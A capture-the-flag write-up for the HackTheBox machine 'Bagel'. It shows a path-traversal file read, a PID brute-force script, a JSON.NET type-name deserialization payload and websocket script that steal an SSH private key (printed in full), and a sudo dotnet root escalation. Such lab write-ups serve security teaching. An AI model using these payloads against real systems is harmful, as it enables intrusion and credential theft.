Skip to main content
  1. Posts/

HackTheBox - Bagel Writeup

·1713 words·9 mins
Recon>

Recon #

Firstly, we run nmap:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ nmap -A -T5 10.10.11.201                                                                           
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-03 16:55 CET
Nmap scan report for 10.10.11.201
Host is up (0.029s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey: 
|   256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_  256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 03 Mar 2023 15:55:26 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 03 Mar 2023 15:55:41 GMT
|     Connection: close
|   Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 03 Mar 2023 15:55:51 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 03 Mar 2023 15:55:26 GMT
|     Content-Length: 54
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (version).)</h1>
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 03 Mar 2023 15:55:52 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|_    <h1>Bad Request (Invalid request line (parts).)</h1>
8000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Fri, 03 Mar 2023 15:55:26 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Fri, 03 Mar 2023 15:55:21 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.25 seconds

As we can see, we need to add the following line on our /ect/hosts to visit the webserver: 10.10.11.201 bagel.htb

LFI>

LFI #

Let’s see the website:

65e7253b8fb5759bd90227dd879d8044.png

We can try to trigger LFI in the page parameter:

b46f554dbb413a9218728112473616dd.png

Here is the content of the /etc/passwd:

root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
games❌12💯games:/usr/games:/sbin/nologin
ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus❌81:81:System message bus:/:/sbin/nologin
tss❌59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network❌192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom❌999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve❌193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd❌998:997:User for polkitd:/:/sbin/nologin
rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt❌173:173::/etc/abrt:/sbin/nologin
setroubleshoot❌997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws❌996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance❌995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd❌74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony❌994:992::/var/lib/chrony:/sbin/nologin
dnsmasq❌993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump❌72:72::/:/sbin/nologin
systemd-coredump❌989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync❌988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer❌1000:1000::/home/developer:/bin/bash
phil❌1001:1001::/home/phil:/bin/bash
_laurel❌987:987::/var/log/laurel:/bin/false

Let’s try to download /prof/self/cmdline:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ curl http://bagel.htb:8000/?page=../../../../proc/self/cmdline --output cmdline
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    35  100    35    0     0    626      0 --:--:-- --:--:-- --:--:--   636

/proc/self/cmdline corresponds to the cmdline ran for the current process.

Here is the content of the file:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ cat cmdline                                                                    
python3/home/developer/app/app.py                                  

We know that the source code is in /home/developer/app/app.py. Let’s see it:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ curl http://bagel.htb:8000/?page=../../../../home/developer/app/app.py --output app.py 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1235  100  1235    0     0  21794      0 --:--:-- --:--:-- --:--:-- 22053
                                                                                                                                                                                                                   
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ cat app.py                                                                            
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

The comment on the route named /orders let us know that the developer has run the dotnet <path to .dll> command. So, if we find the pid of this executable we can find his path with the cmdline stored on /proc/<pid>/cmdline.

Let’s make a small python script that will bruteforce pid and print the response if it’s different of File not found:

import requests

for i in range(1000):
    url = "http://bagel.htb:8000/?page=../../../../proc/" + str(i) + "/cmdline"
    r = requests.get(url)
    response = r.text
    if response != "File not found" and response != "":
        print(response)

Here is the result:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ python3 bruteforce_pid.py
/usr/lib/systemd/systemdrhgb--switched-root--system--deserialize35
/usr/lib/systemd/systemd-journald
/usr/lib/systemd/systemd-udevd
/usr/lib/systemd/systemd-oomd
/usr/lib/systemd/systemd-resolved
/sbin/auditd
/sbin/auditd
/usr/lib/systemd/systemd-userdbd
/usr/sbin/sedispatch
/usr/local/sbin/laurel--config/etc/laurel/config.toml
/sbin/auditd
/usr/sbin/NetworkManager--no-daemon
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
python3/home/developer/app/app.py
/usr/sbin/irqbalance--foreground
/usr/lib/polkit-1/polkitd--no-debug
/usr/sbin/rsyslogd-n
/usr/lib/systemd/systemd-logind
/usr/sbin/irqbalance--foreground
/usr/bin/VGAuthService-s
/usr/bin/vmtoolsd
/usr/sbin/abrtd-d-s
/usr/bin/dbus-broker-launch--scopesystem--audit
/usr/sbin/rsyslogd-n
/usr/sbin/chronyd-F2
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
/usr/sbin/rsyslogd-n
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
/usr/sbin/NetworkManager--no-daemon
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dbus-broker--log4--controller9--machine-idce8a2667e5384602a9b46d6ad7614e92--max-bytes536870912--max-fds4096--max-matches131072--audit
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
/usr/sbin/abrtd-d-s
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
/usr/sbin/NetworkManager--no-daemon
/usr/sbin/abrtd-d-s
/usr/bin/abrt-dump-journal-core-D-T-f-e
/usr/bin/abrt-dump-journal-oops-fxtD
/usr/bin/abrt-dump-journal-xorg-fxtD
/usr/bin/vmtoolsd
/usr/bin/vmtoolsd
sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
/usr/bin/vmtoolsd
/usr/lib/polkit-1/polkitd--no-debug
/usr/lib/polkit-1/polkitd--no-debug
/usr/lib/polkit-1/polkitd--no-debug
/usr/lib/polkit-1/polkitd--no-debug
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/lib/polkit-1/polkitd--no-debug
/usr/sbin/ModemManager

We know that the dll is at this path: /opt/bagel/bin/Debug/net6.0/bagel.dll

We can download it:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ curl http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll --output bagel.dll
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10752  100 10752    0     0   193k      0 --:--:-- --:--:-- --:--:--  194k
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ file bagel.dll                                                                                                        
bagel.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
Foothold>

Foothold #

Disassembly>

Disassembly #

Let’s use dnSpy who is a debugger and .NET assembly editor.

We can see is the function DB_connection that there is somes creds:

48f2fa676be3bb41d88231720dbc5195.png

But we can’t ssh with them because only the authentication with a key is allowed.

So, let’s look further at the .NET code. We can see that there is a Bagel class in the namespace bagel_server:

81571cd5e47a4ef6c5a02ab4b53433da.png

Insecure deserialization>

Insecure deserialization #

In this class, there is a function named MessageReceived who deserialize json. It seems that the input from the client is deserialized. Maybe there is an insecure deserialization ?

// Token: 0x0600000B RID: 11 RVA: 0x000021A8 File Offset: 0x000003A8
        private static void MessageReceived(object sender, MessageReceivedEventArgs args)
        {
            string json = "";
            bool flag = args.Data != null && args.Data.Count > 0;
            if (flag)
            {
                json = Encoding.UTF8.GetString(args.Data.Array, 0, args.Data.Count);
            }
            Handler handler = new Handler();
            object obj = handler.Deserialize(json);
            object obj2 = handler.Serialize(obj);
            Bagel._Server.SendAsync(args.IpPort, obj2.ToString(), default(CancellationToken));
        }

Let’s see the Deserialize function in the Handler class:

7ce69b0a4164ebefa5617be044f935f9.png

By googling JsonConvert.DeserializeObject we know that this function comes from the JSON.NET library.

With some researches, we know that the implementation of JsonConvert.DeserializeObject is vulnerable here.

Indeed, according to https://systemweakness.com/exploiting-json-serialization-in-net-core-694c111faa15:

By default TypeNameHandling is set to None. When this configuration is set to anything other than None a new property is written to the output when serializing. The $type property. This property contains information about the type that was serialized. When the object is deserialized the type property is used to deserialize the object to the expected type. Another requirement for this to work is that the json is deserialized to a derived type of our exploit type or to the generic object type. Not all objects can get deserialized with JSON .NET. The object needs to have either a empty constructor or one constructor with parameters. Writable properties can also be written to when deserializing an object.

So, we can deserialize the RemoveOrder object because he has an empty constructor:

// bagel_server.Orders
// Token: 0x17000004 RID: 4
// (get) Token: 0x06000014 RID: 20 RVA: 0x000022FF File Offset: 0x000004FF
// (set) Token: 0x06000015 RID: 21 RVA: 0x00002307 File Offset: 0x00000507
public object RemoveOrder { get; set; }

Then, we can see that bagel.dll has a File class. This class implements a string ReadFile, the value of this string is a path. It is passed in the ReadContent function that will read the content a the given path:

c79a57969e53a3f00859249453835089.png

Remember, in the app.py a comment said that we can connect to the host with a ssh key.

So, if we send the following payload, it will print the ssh key of phil:

{ 
	"RemoveOrder": 
		{
			"$type":"bagel_server.File, bagel",
			"ReadFile":"../../../../../../home/phil/.ssh/id_rsa"
		}
}

Here is the python script that will send the payload and print the output:

import websocket, json

ws = websocket.WebSocket()

ws.connect("ws://10.10.11.201:5000/")

order =  {"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))

ws.send(data)

result = ws.recv()
print(result)

And we got the ssh key:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ python3 exploit_deserialize.py
{
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "8:39:29",
  "RemoveOrder": {
    "$type": "bagel_server.File, bagel",
    "ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
    "WriteFile": null
  },
  "WriteOrder": null,
  "ReadOrder": null
}

We can connect to the server:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ echo "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----" > phil_rsa

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ ssh -i phil_rsa phil@bagel.htb
Last login: Sat Mar  4 20:36:29 2023 from 10.10.14.116
[phil@bagel ~]$
PrivEsc>

PrivEsc #

Now, we can remember that we obtained a password on the DB_connection function. We tried to use sudo -l with phil but the password is incorrect. Let’s try with developer:

[phil@bagel tmp]$ su developer
Password: 
[developer@bagel tmp]$ sudo -l
Matching Defaults entries for developer on bagel:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet

It works ! So we can run /usr/bin/dotnet as sudo.

Let’s see on https://gtfobins.github.io/gtfobins/dotnet/ if we can privesc with dotnet:

f9de2a21da7621c6f5ec711a21c5f1e8.png

And we finally got a root shell !

[developer@bagel tmp]$ sudo /usr/bin/dotnet fsi

Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.

For help type #help;;

> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
sh-5.2# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023